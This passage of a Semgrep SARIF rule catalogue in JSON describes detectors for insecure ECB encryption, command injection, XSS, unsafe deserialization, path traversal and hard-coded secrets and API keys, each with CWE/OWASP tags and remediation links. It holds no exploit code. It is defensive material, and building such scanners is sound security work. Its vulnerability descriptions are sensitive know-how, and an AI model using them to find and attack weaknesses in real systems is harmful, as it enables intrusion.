detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","id":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","name":"generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-facebook-oauth.detected-facebook-oauth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"help":{"markdown":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n - [https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0](https://medium.com/asecuritysite-when-bob-met-alice/surely-no-one-uses-ecb-mode-in-aes-332ed90f29d0)\n","text":"Symmetric cryptographic operations were identified that use Electronic Code Book (ECB) mode. ECB mode is considered insecure as identical plaintext blocks encrypt to identical ciphertexts revealing patterns in the data. Use stronger, better alternatives such as AES-GCM or ChaChaPoly. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","id":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","name":"swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-ecb-mode.insecure-crypto-ecb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","id":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","name":"python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysqlclient.python-mysqlclient-empty-password.python-mysqlclient-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","id":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","name":"python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask.tainted-os-command-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a HTML string may result in XSS"},"help":{"markdown":"User controlled data in a HTML string may result in XSS\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"User controlled data in a HTML string may result in XSS"},"helpUri":"https://semgrep.dev/r/javascript.browser.security.raw-html-concat.raw-html-concat","id":"javascript.browser.security.raw-html-concat.raw-html-concat","name":"javascript.browser.security.raw-html-concat.raw-html-concat","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.raw-html-concat.raw-html-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","id":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","name":"java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request)\n - [https://github.com/parnurzeal/gorequest](https://github.com/parnurzeal/gorequest)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.gorequest-http-request.gorequest-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-json-flask.tainted-json-flask","id":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","name":"python.flask.deserialization.tainted-json-flask.tainted-json-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-json-flask.tainted-json-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"abi.encodePacked hash collision with variable length arguments in $F()"},"help":{"markdown":"abi.encodePacked hash collision with variable length arguments in $F()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision)\n - [https://swcregistry.io/docs/SWC-133](https://swcregistry.io/docs/SWC-133)\n","text":"abi.encodePacked hash collision with variable length arguments in $F()"},"helpUri":"https://semgrep.dev/r/solidity.security.encode-packed-collision.encode-packed-collision","id":"solidity.security.encode-packed-collision.encode-packed-collision","name":"solidity.security.encode-packed-collision.encode-packed-collision","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.encode-packed-collision.encode-packed-collision"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts or to use the Cookie Policy Middleware to globally set the HttpOnly flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.httponly-false.httponly-false","id":"csharp.lang.audit.cookies.httponly-false.httponly-false","name":"csharp.lang.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","id":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","name":"python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-xpath-stdlib.tainted-django-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","id":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","name":"python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-uri.python-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"help":{"markdown":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor)\n - [https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability](https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/#snakeyaml-deserialization-vulnerability)\n","text":"Used SnakeYAML org.yaml.snakeyaml.Yaml() constructor with no arguments, which is vulnerable to deserialization attacks. Use the one-argument Yaml(...) constructor instead, with SafeConstructor or a custom Constructor as the argument."},"helpUri":"https://semgrep.dev/r/java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","id":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","name":"java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.use-snakeyaml-constructor.use-snakeyaml-constructor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","id":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","name":"csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint-grpc.compile-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `addInitScript` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","id":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","name":"javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-addinitscript-code-injection.playwright-addinitscript-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SonarQube Docs API Key detected"},"help":{"markdown":"SonarQube Docs API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SonarQube Docs API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","id":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","name":"generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sonarqube-docs-api-key.detected-sonarqube-docs-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-pickleshare-flask.tainted-pickleshare-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - 